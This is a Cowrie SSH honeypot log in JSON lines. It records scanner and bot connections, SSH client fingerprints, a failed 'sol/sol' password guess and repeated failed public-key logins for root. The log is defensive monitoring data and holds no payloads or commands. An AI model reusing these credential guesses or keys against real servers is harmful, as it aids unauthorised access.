{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:fd:69:a3:1f:6e:01:98:d1:0d:c2:45:fd:6c:0f:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAJ/MY1n8HYPYYhHPFtlJKH3ZMZIh6sTC5RC3gwcXDQc6sNLDmkkgUu/weuRkEa1+RaAgbcYgCd7xlHo7bslTt7ArYBfMh4xxqHmE2Hp2OaO2H9AJYf7d8C5zTLJwDALezxgKDn6gqFs3oWz4wfEaUBxjii1egchtiIBDr7gSPRQKDCu0W9lOWoSZdRA+ynHsunSQVIWY6rYnHa52zmdLJiicg8l6KPTlIoji7X9vR3VbmsUYMLStpNdR1zQWp3xDP/dJktMOcx1h6U+ejhZNbmn+W46QOhQeWm6aJIc+8JHCZy3ppU4bsUEanZtUdzQHE7mnRcKYZ0+pv9reX58fp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.786706Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:26.877897Z","src_ip":"31.58.144.12","session":"05a1583f436a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46806,"dst_ip":"10.17.0.5","dst_port":22,"session":"9702dd11a3ff","protocol":"ssh","message":"New connection: 2.57.122.208:46806 (10.17.0.5:22) [session: 9702dd11a3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:49:46.470439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:49:46.585519Z","src_ip":"2.57.122.208","session":"9702dd11a3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:49:46.706358Z","src_ip":"2.57.122.208","session":"9702dd11a3ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:49:47.842900Z","src_ip":"2.57.122.208","session":"9702dd11a3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:49:49.159724Z","src_ip":"2.57.122.208","session":"9702dd11a3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.220","src_port":58572,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aac0f9d9c6c","protocol":"ssh","message":"New connection: 205.210.31.220:58572 (10.17.0.5:22) [session: 6aac0f9d9c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:00.721197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:01.525995Z","src_ip":"205.210.31.220","session":"6aac0f9d9c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:02.726554Z","src_ip":"205.210.31.220","session":"6aac0f9d9c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:11.118243Z","src_ip":"205.210.31.220","session":"6aac0f9d9c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.189","src_port":37764,"dst_ip":"10.17.0.5","dst_port":22,"session":"792889eaaf42","protocol":"ssh","message":"New connection: 176.65.131.189:37764 (10.17.0.5:22) [session: 792889eaaf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:35.908975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:35.914196Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.002799Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:f6:88:c2:14:17:b6:90:c7:40:b7:60:6a:e8:4f:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQStbGrxmBYmUlgYSBTUD1RJuPlaLGE/86tXWhmcej1LbjNQ98nq25BKRG2VIlOgCsxQsaKYhPul8c6jauvCg8wHdxvF0/rHcvDa4fa4Uq9tlwKvro5sx86QzjB5fdBNmhcXO6OKocZYW859U2/iIBgwr1HhQS7FuGivDOuXXRjdoDmBzCMuzFtFH2WRNhTY8/rfwFp1Qo3h05Op/liA+gbQ5L73FbLHQCWrPTO2v0gUzSctc+MqSrKzaELmxgu0cjZabA7hOQVy4JrrogKpZidxcfwkrWL1meW9y+7ig+6JKMAwWonai6bKz2aRBPvHD92JSCIsRTiKsQk13LJrq5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:f6:88:c2:14:17:b6:90:c7:40:b7:60:6a:e8:4f:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.415761Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:f6:88:c2:14:17:b6:90:c7:40:b7:60:6a:e8:4f:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQStbGrxmBYmUlgYSBTUD1RJuPlaLGE/86tXWhmcej1LbjNQ98nq25BKRG2VIlOgCsxQsaKYhPul8c6jauvCg8wHdxvF0/rHcvDa4fa4Uq9tlwKvro5sx86QzjB5fdBNmhcXO6OKocZYW859U2/iIBgwr1HhQS7FuGivDOuXXRjdoDmBzCMuzFtFH2WRNhTY8/rfwFp1Qo3h05Op/liA+gbQ5L73FbLHQCWrPTO2v0gUzSctc+MqSrKzaELmxgu0cjZabA7hOQVy4JrrogKpZidxcfwkrWL1meW9y+7ig+6JKMAwWonai6bKz2aRBPvHD92JSCIsRTiKsQk13LJrq5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.420248Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:42:74:b5:6f:8e:99:a8:88:12:0a:ff:96:05:79:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT8OKsxxivvYU3NfwLPbmx/QyycM/2rjflV58BXLNVkKp6DC+Ad5UXRBimThi11AErMKmPF3F7pyMLyN3ynl4eZlLy/jedFb8EIah5b5mNePC758uAiwNIiHFQJqqc3GVv+bcw7nWd1fZqmtjUf2afIv9up1ulogRW+6wp5scSOo5kYo6zJDxw1llRGszAkt7ftToZNotBlRuPdx6dOcAnqq0ZzvSfVNkAE7Lpoxlu2sZv8mfRqc5xS+K506RHHqXWxMeLDulHWXJsdNTVFti5PJh6UjazRFuug7JcFdw/GMnrQ45R+moahWKQmxXVQv/oVCM37NW3tNnRC5c3V17V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:42:74:b5:6f:8e:99:a8:88:12:0a:ff:96:05:79:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.508473Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:42:74:b5:6f:8e:99:a8:88:12:0a:ff:96:05:79:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT8OKsxxivvYU3NfwLPbmx/QyycM/2rjflV58BXLNVkKp6DC+Ad5UXRBimThi11AErMKmPF3F7pyMLyN3ynl4eZlLy/jedFb8EIah5b5mNePC758uAiwNIiHFQJqqc3GVv+bcw7nWd1fZqmtjUf2afIv9up1ulogRW+6wp5scSOo5kYo6zJDxw1llRGszAkt7ftToZNotBlRuPdx6dOcAnqq0ZzvSfVNkAE7Lpoxlu2sZv8mfRqc5xS+K506RHHqXWxMeLDulHWXJsdNTVFti5PJh6UjazRFuug7JcFdw/GMnrQ45R+moahWKQmxXVQv/oVCM37NW3tNnRC5c3V17V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.513263Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:6d:19:e9:cb:69:93:65:ec:52:3e:d8:63:84:32:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChVedpkwgnLmgx0Ih5SUeeu5KR53T4x5nWUzIX4l4hW2OAgcN2dzMxMOI98wEvf++lDdeZmTKY0QG9cimEEQ5U5qYPzHBmM3AMmhVW1jNg8bPVDicUNwPOhdp+mG1eB7CKU0+7YLdT6k8FnAbRelRHb/RYmCWWWh1sCQjG2BFycCFTeTrsGhcrwA6sDLpTGHTkFMa0bgycW9KlbuoukRH/6S5xKyo4TRcHWNaLewZv25HYV6f4iRr14gBBnJdp7CQP9xiM18tEov6CFRa0tmSdXLL8odZQ7EVj0j/Khr15boCsE1gd9YsfpSnJcrmOOFIFSoRgynu226euLSnHOap0+PdGoL8ytCVsyITIbJ6nzAafvw/+p+e0V90iFvf8ZhQoZLmQW36ay6bqc5miARREh1/7Bonk4UE3fsNJLuq+8iF0rulB36q8h8msrFxoBJi4ISrDqMYf1azh2dADzoAR0Pd33sBRYiL/wz/hZG5NIvfqID6mfUau2OG5FmZz8H0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:6d:19:e9:cb:69:93:65:ec:52:3e:d8:63:84:32:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.604035Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:6d:19:e9:cb:69:93:65:ec:52:3e:d8:63:84:32:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChVedpkwgnLmgx0Ih5SUeeu5KR53T4x5nWUzIX4l4hW2OAgcN2dzMxMOI98wEvf++lDdeZmTKY0QG9cimEEQ5U5qYPzHBmM3AMmhVW1jNg8bPVDicUNwPOhdp+mG1eB7CKU0+7YLdT6k8FnAbRelRHb/RYmCWWWh1sCQjG2BFycCFTeTrsGhcrwA6sDLpTGHTkFMa0bgycW9KlbuoukRH/6S5xKyo4TRcHWNaLewZv25HYV6f4iRr14gBBnJdp7CQP9xiM18tEov6CFRa0tmSdXLL8odZQ7EVj0j/Khr15boCsE1gd9YsfpSnJcrmOOFIFSoRgynu226euLSnHOap0+PdGoL8ytCVsyITIbJ6nzAafvw/+p+e0V90iFvf8ZhQoZLmQW36ay6bqc5miARREh1/7Bonk4UE3fsNJLuq+8iF0rulB36q8h8msrFxoBJi4ISrDqMYf1azh2dADzoAR0Pd33sBRYiL/wz/hZG5NIvfqID6mfUau2OG5FmZz8H0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.608087Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:04:4f:20:67:9f:13:1c:47:5d:f6:d7:5f:18:9a:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINu3+oBKJwkAAYFCGEUhAy08VUMRNF6N6l2zAamVt013","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 52:04:4f:20:67:9f:13:1c:47:5d:f6:d7:5f:18:9a:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.696315Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:04:4f:20:67:9f:13:1c:47:5d:f6:d7:5f:18:9a:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINu3+oBKJwkAAYFCGEUhAy08VUMRNF6N6l2zAamVt013","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.700668Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:5a:4c:e9:8f:3f:12:05:e5:77:8e:3e:f8:40:db:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWu52RE0n0EM0g8Kvw7NJK9NIuAOROAucy1xVYTEwXiX6uECwmFYR0XBvrSri5+Mrcc4I7qoOnSs7hJatIaFR4t/NragREquM4CmjHus4sPT0ZmNWA6d513vXdwGQu7WM6gOk/+Cr+xcF+KhNrIud3XfrX9V2aSxwlCEYMzyiWnBKzA0wck0O2hUaxW4d0EwZCPtqAS5IdQ9vccSBUCjtd0eSbhHQS7VOjySgN5aFxLZZ0E6MAS3RckJW0R2yVk3r0mdDIp2x6UDL1Y6irmo5n47iyjAGQWhyckAGM2d/ko8T4hpHaYk/oK2+DmOdTe7cacEx335qGQ0ZU4TDoQEfq/mKM+jP3oOlT2Bx88fc/kO1CYSxaYIMLAHuTh8QqrVw9bXjLqI/fL1QdGzc5a1OnNEk2tKOHL7KFQWpvGJkJlgRlN5+mTZXzlGWSjHv8zJ0TXcQTN6MnbfNIXmVt2uivYVHvRocqA2TaYx+1orc4LWnJOdSU/dC2QJRr7JgoyTU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:5a:4c:e9:8f:3f:12:05:e5:77:8e:3e:f8:40:db:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.789260Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:5a:4c:e9:8f:3f:12:05:e5:77:8e:3e:f8:40:db:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCWu52RE0n0EM0g8Kvw7NJK9NIuAOROAucy1xVYTEwXiX6uECwmFYR0XBvrSri5+Mrcc4I7qoOnSs7hJatIaFR4t/NragREquM4CmjHus4sPT0ZmNWA6d513vXdwGQu7WM6gOk/+Cr+xcF+KhNrIud3XfrX9V2aSxwlCEYMzyiWnBKzA0wck0O2hUaxW4d0EwZCPtqAS5IdQ9vccSBUCjtd0eSbhHQS7VOjySgN5aFxLZZ0E6MAS3RckJW0R2yVk3r0mdDIp2x6UDL1Y6irmo5n47iyjAGQWhyckAGM2d/ko8T4hpHaYk/oK2+DmOdTe7cacEx335qGQ0ZU4TDoQEfq/mKM+jP3oOlT2Bx88fc/kO1CYSxaYIMLAHuTh8QqrVw9bXjLqI/fL1QdGzc5a1OnNEk2tKOHL7KFQWpvGJkJlgRlN5+mTZXzlGWSjHv8zJ0TXcQTN6MnbfNIXmVt2uivYVHvRocqA2TaYx+1orc4LWnJOdSU/dC2QJRr7JgoyTU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.793439Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:36.880853Z","src_ip":"176.65.131.189","session":"792889eaaf42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.210.199.98","src_port":48710,"dst_ip":"10.17.0.5","dst_port":22,"session":"13cd2847a177","protocol":"ssh","message":"New connection: 192.210.199.98:48710 (10.17.0.5:22) [session: 13cd2847a177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.685742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.690479Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.710726Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:f6:88:c2:14:17:b6:90:c7:40:b7:60:6a:e8:4f:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQStbGrxmBYmUlgYSBTUD1RJuPlaLGE/86tXWhmcej1LbjNQ98nq25BKRG2VIlOgCsxQsaKYhPul8c6jauvCg8wHdxvF0/rHcvDa4fa4Uq9tlwKvro5sx86QzjB5fdBNmhcXO6OKocZYW859U2/iIBgwr1HhQS7FuGivDOuXXRjdoDmBzCMuzFtFH2WRNhTY8/rfwFp1Qo3h05Op/liA+gbQ5L73FbLHQCWrPTO2v0gUzSctc+MqSrKzaELmxgu0cjZabA7hOQVy4JrrogKpZidxcfwkrWL1meW9y+7ig+6JKMAwWonai6bKz2aRBPvHD92JSCIsRTiKsQk13LJrq5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:f6:88:c2:14:17:b6:90:c7:40:b7:60:6a:e8:4f:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:50:42.792761Z","src_ip":"192.210.199.98","session":"13cd2847a177","protocol":"ssh"}
